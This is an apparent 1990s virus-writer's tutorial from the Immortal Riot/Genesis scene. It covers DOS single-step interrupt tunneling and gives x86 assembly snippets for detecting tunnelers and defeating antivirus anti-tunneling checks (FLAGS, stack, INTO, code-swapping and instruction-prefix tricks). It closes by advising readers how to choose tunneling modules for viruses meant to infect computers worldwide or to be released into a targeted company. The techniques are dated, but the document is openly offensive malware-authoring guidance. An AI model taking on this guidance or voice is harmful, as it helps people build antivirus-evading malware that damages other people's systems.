ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Detection with the FLAGS test ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The easiest way to check for a single step tunneler is by looking into the flags register for a set TF. The routine below will set the CF if a tunneler is present, and clear the CF if a tunneler is not present. check_for_tunneler proc near clc ; set to no tunneler by default pushf pop ax and ah, 1 ; clear all bits except for TF jz no_tunneler ; if TF is clear, no tunneler is present stc ; set CF because tunneler is in memory no_tunneler: ret ; return to calling code check_for_tunneler endp ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Fooling the FLAGS test ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ In flags testing, whoever is tunneling has the upper hand, as they can check the currently executing opcode for PUSHF/POPF and modify the results of these instructions. For example, to stop someone from seeing the TF set, you simply check if the last instruction executed was a PUSHF, and if so, you do an (AND byte ptr [ss:bp+8], 011111110b) which turns off the TF in the copy of the flags they have on the stack. Then, to stop someone from disabling single step mode by PUSHF'ing the flags register back onto the stack, you simply check for a PUSHF as the current instruction, and if it is there, do an (OR byte ptr [ss:bp+8], 1), turning the TF back on in the copy of the flags on the stack. The problem with chaging the flags on PUSHF in this way is that you may have just jumped to an address where, just below it, there is a PUSHF that wasn't executed! By modifying the stack in this scenario, you could very well cause a system crash. Instead of checking if the last instruction was a PUSHF, you can instead check if the current instruction is a PUSHF and set a flag in your INT 1 handler. On each entry to the handler, you can then check if the PUSHF flag is set, and if so, you clear it and modify the stack as before. Finally, even if you have made any flags test totally futile, you must add in code to make sure YOUR code can disable single step mode with a POPF! You can do this by simply checking your current CS: against the CS: of the currently executing instruction, on entry to the interrupt handler, and if there is a match, simply exit without checking for any opcodes, etc. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Confusing OPCODE CHECKs ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ I mentioned earlier on that the OPCODE CHECK method of tunneling was easily confused by a good anti-tunneling routine. Although the bit of code I'll show you won't work against the other single step tunneling methods, it will work VERY well against the OPCODE CHECK method (which is, like I said, in wide use). Since the OPCODE CHECK method copies down the last intersegment jump as the original interrupt entrypoint, we simply make a few fake jumps. Do this in the setup of your code: mov [fake_jump_address], offset fake_jump_here mov [fake_jump_address+2], cs And do this to call the proper interrupt routine you're hooked to: pushf call far ptr [original_interrupt] ; Executes proper interrupt call far ptr [fake_jump_address] ; Make a fake call, destroying tunnelers retf 2 ; Exit fake_jump_address: retf ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ De-confusing OPCODE CHECKs ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Confusing OPCODE CHECKs can be done in many other ways on top of the one just described, and as such you shouldn't REALLY be using an OPCODE CHECK method anyway, since the CS:LIST method is much more stable :> Anyway, defending yourself against this specific peice of code needs you to check if you are doing an intersegment jump to the same code segment. If so, just ignore it and don't save the CS:IP value. Alternatively, if you were really picky you could modify your handler so as to save the address of a jump/call ONLY if it is below the last value saved. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Removal with code swapping ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ A smart anti-tunneling routine will not rely on the flags to test for single step handlers. Instead, a smart anti-tunneling routine ALWAYS starts off in red alert mode, and only does detective work after trying to disable INT 1, just in case. A common way to do this, is shown in the code snippet below: xor ax, ax mov ds, ax lds si, [4] ; DS:SI points to start of INT 1 les di, [4] ; ES:DI " " mov ah, 0cfh lodsb ; load first byte into AL xchg ah, al stosb ; store IRET as first byte of INT 1 ... (flag tests etc go here) ... dec di xchg ah, al stosb ; restore original byte of INT 1 By putting an IRET as the first byte of INT 1, the routine of INT 1 is totally bypassed allowing you to do all the flags tests, etc you want, without being hampered by anti-anti-tunneling code. However, in THIS specific example (there are many many ways of putting an IRET into INT 1) you must not modify AX, ES or DI, as they're needed when you replace the first byte of INT 1 on exit from your interrupt handler. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Fooling code swapping ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ In times such as this, things start to get complicated inside our tunneling routines. Even though we can check each opcode before it is executed, it isn't much help in this case as there are so many different ways of putting a byte into our INT 1 handler. The only GENERIC way to defeat this method, is by checking for MOVS's and then seeing if a byte is being MOVS'd into our code segment, skipping the instruction (by modifying the return IP pointer in the stack). However, then you have to begin checking for STOS instructions too, etc. This, well, lets just say it could be done if you really tried hard, but they could use another idea like just completely installing another INT 1 handler over yours, or putting a byte into your INT 1 handler in an awkward way. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Detection with the STACK test ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Finally, we come along to the mother of all anti-tunneling tests, the stack test. This is the test where no single step tunneler ever comes out alive, and in a minute you will see why. And you thought fooling code swapping sounded hard! Have a peek at the code below: xor ax, ax push ax mov bp, sp pop ax cmp [ss:bp-2], ax je no_tunnel ... In case it isn't clear to you, this is what happens. Remember when we POP values from the stack, the values are normally still there, just 2 bytes below the SP (because to POP a value the CPU simply copies the SS:SP value to where it is wanted and increments SP by two). So, under normal CPU execution, the values we POP off of the stack are still there, totally intact, which is what the above routine checked for. However, when we go into single stepping mode, before every instruction is executed, an INT 1 is called, overwriting old stack values with the FLAGS, CS, and IP registers! So after the routine POP's its value back into AX, right away the old stack data is corrupted as our INT 1 is called. This is the bane of all single step tunnelers. You cannot even begin to imagine the complexity of an INT 1 handler that has to check for every one of the hundreds of ways of pushing and popping values from the stack. It is just way too complex, and coupled with the other tests I've shown you above, your once simple tunneling routine has turned into a huge fat bloated sack of spaghetti code! Luckily for you, we're not going to be bothered writing such a routine. I myself, at this point in time, don't even want to THINK about writing something so big when later on in our document series we'll have to rewrite the entire thing anyway. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Detection with INT(O) ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Here's a sick little test you'll want to check out for! Remember when I told you how the INT instruction works, with clearing the TF? Well, look at this code here :) xor ax, ax mov ds, ax push [(4*4)] push [(4*4)+2] mov [(4*4)], offset my_handler mov [(4*4)+2], cs pushf pop ax or ax, 0bh push ax popf into my_handler: mov bp, sp pop ax pop ax pop ax In this example, at the end of the code (which is 286+ code only mind you), AX will hold the REAL flags value, and the TF will be turned off in the current flags, no matter how much you fiddle with the flags. Why? Well, the INTO instruction executes an INT 4 if the flags register has the overflow set, which we did by directly modifying the flags. Before then, we set the INTO (INT 4) to ourselves via the IVT, and so, the INTO pushes the flags, CS, and IP, onto the stack. At the point of my_handler, the TF has been cleared due to the INT instruction, and the pop ax's end up with the value the flags are set to on return, which has the TF set :) Using this routine or something similar (like INT 3 or INT xx) needs you to save the original IVT value of the interrupt so you can restore it later, else the computer might well crash should a real instance of this interrupt be called. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Avoiding the INT(O) pitfall ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ How do we avoid this? Simply check for the INT, INTO, and INT 3 opcodes in your handler, and if they are present, emulate the interrupt by pushing the flags (with TF clear), CS, and IP, onto the stack, and also check for the IRET instruction, at which time you make sure the TF is set :) Make sure you code this right, so when you push the flags, CS, and IP onto the stack, there is no other information on the stack such as the flags, CS and IP that were pushed as INT 1 was executed. Do this by popping all those values off the stack into temporary variables, pushing all your other stuff on, and then putting back your INT 1 flags, CS, and IP values, and finally exiting your INT 1 handler. I'm sure you'll work it out. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Anti-Anti-Anti Tunneling ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Okay, this is starting to get a bit out of hand, but it's the last thing we need to talk about :) Remember when I mentioned that segment overrides were taken as part of the current instruction? Well, segment overrides aren't the only types of instruction prefix available, as there is also REP, REPE, and a few others. Why am I mentioning this? Well, imagine writing your ulta-leet anti-pushf/popf code into one of your interrupt routines, and an AV happens to come up with a small anti-tunneling section of code looking like this: pushf cs:popf ARGH! All your precious hard work flushes down the toilet bowl as your interrupt handler doesn't recognize the POPF instruction hiding behind the instruction prefix! You have been disabled by the very code that turns off the TF when it see's a PUSHF! So, now what can you do? Luckily, the answer to this is simple. Siphon off all the instruction prefixes in a loop before you start checking for opcodes. Simple. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Section 5: Is single step mode still usefull? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ By now, you may be wondering why anyone would want to use single mode now that there are so many ways to defeat it, and rightly so. However, you must look at the bigger picture of computer users and AV software. For starters, most computers these days use some form of virus protection, ranging from old behaviour blockers written in 1989 to the really good AV software which is up to date and has behaviour blockers built in. However, the usage of old software, and new software without anti-tunnel capabilities far outweighs the current level of AV software used that DOES provide anti-tunneling, and as such the choice is clear. If you are planning for your virus to infect lots of computers around the world, then it is much better using some tunneling method than none at all, as the pros far outweigh the cons. However, if you're planning for a controlled release into say, a major company, it would be best to do a bit of detective work to see if their computers are running appropriate AV software before including a single step mode tunneling module in your virus. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Section 6: Conclusion ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Which single step tunneling method you'll use in your viruses is up to you, however the main things that will base your decision upon are: - the space requirements of your virus with the various tunneling routines - levels of compatability required in your virus - the types of computers you're planning to infect - the individual pros and cons of each routine There is also another thing that needs mentioning, each and every routine I have presented to you only returns to you the value it BELIEVES is the original interrupt entrypoint. Of course, all of these tunnelers can get confused and return an incorrect value, and using that value in your code without first doing some sort of error checking would be disasterous! However, as yet I do now know a failsafe way of doing this. Also, DESQView (a dos multitasking program) does NOT like programs trying to tunnel the interrupts when they are not the only programs running. This is probably because half way through your tunnel DESQView swaps a different program into memory to be executed and doesn't properly handle the TF. So suddenly, where your INT 1 handler once was, it is no more and the tunneling goes haywire totally crashing the computer. >sigh< I guess you're just going to have to start adding DESQView aware code: mov ax, 02b01h mov cx, 'DE' mov dx, 'SQ' int 021h cmp al, -1 je no_desqview jmp run_from_desqview ; This should work with all versions ; of DESQView :) To round off this whole document, you should look at the example program included. It is just a quick something I whipped up to demonstrate how to put everything you've learnt so far together into a working program. It's not a virus :) It just tells you what the end result is of each tunneling module, so that you can compare performance. No anti-anti-tunneling code is included in it, because I can't be bothered after writing so much, but it is DESQView/DOS version aware :) It can be assembled into a .COM file with A86. So now you have finally shrugged off your previously innocent disguise as amoeba and progressed to the status level of marsupial, which is a BIG step! However, there is a long road left to travel in regards to tunneling methods before you reach the status level of tunneling god, so I suggest you grab the next document in this series. What's it about? Well, it's about tunneling via code scanning, which is somewhat like the OPCODE CHECK/CS:LIST methods, but without using INT 1 and without being able to be detected. Think about the implications of that for a little while :) Anyway, I hope you enjoyed reading this document as much as I got pissed off while writing it and debugging all the little sections of code :) Yer, this one was a real fucker! Methyl [Immortal Riot/Genesis]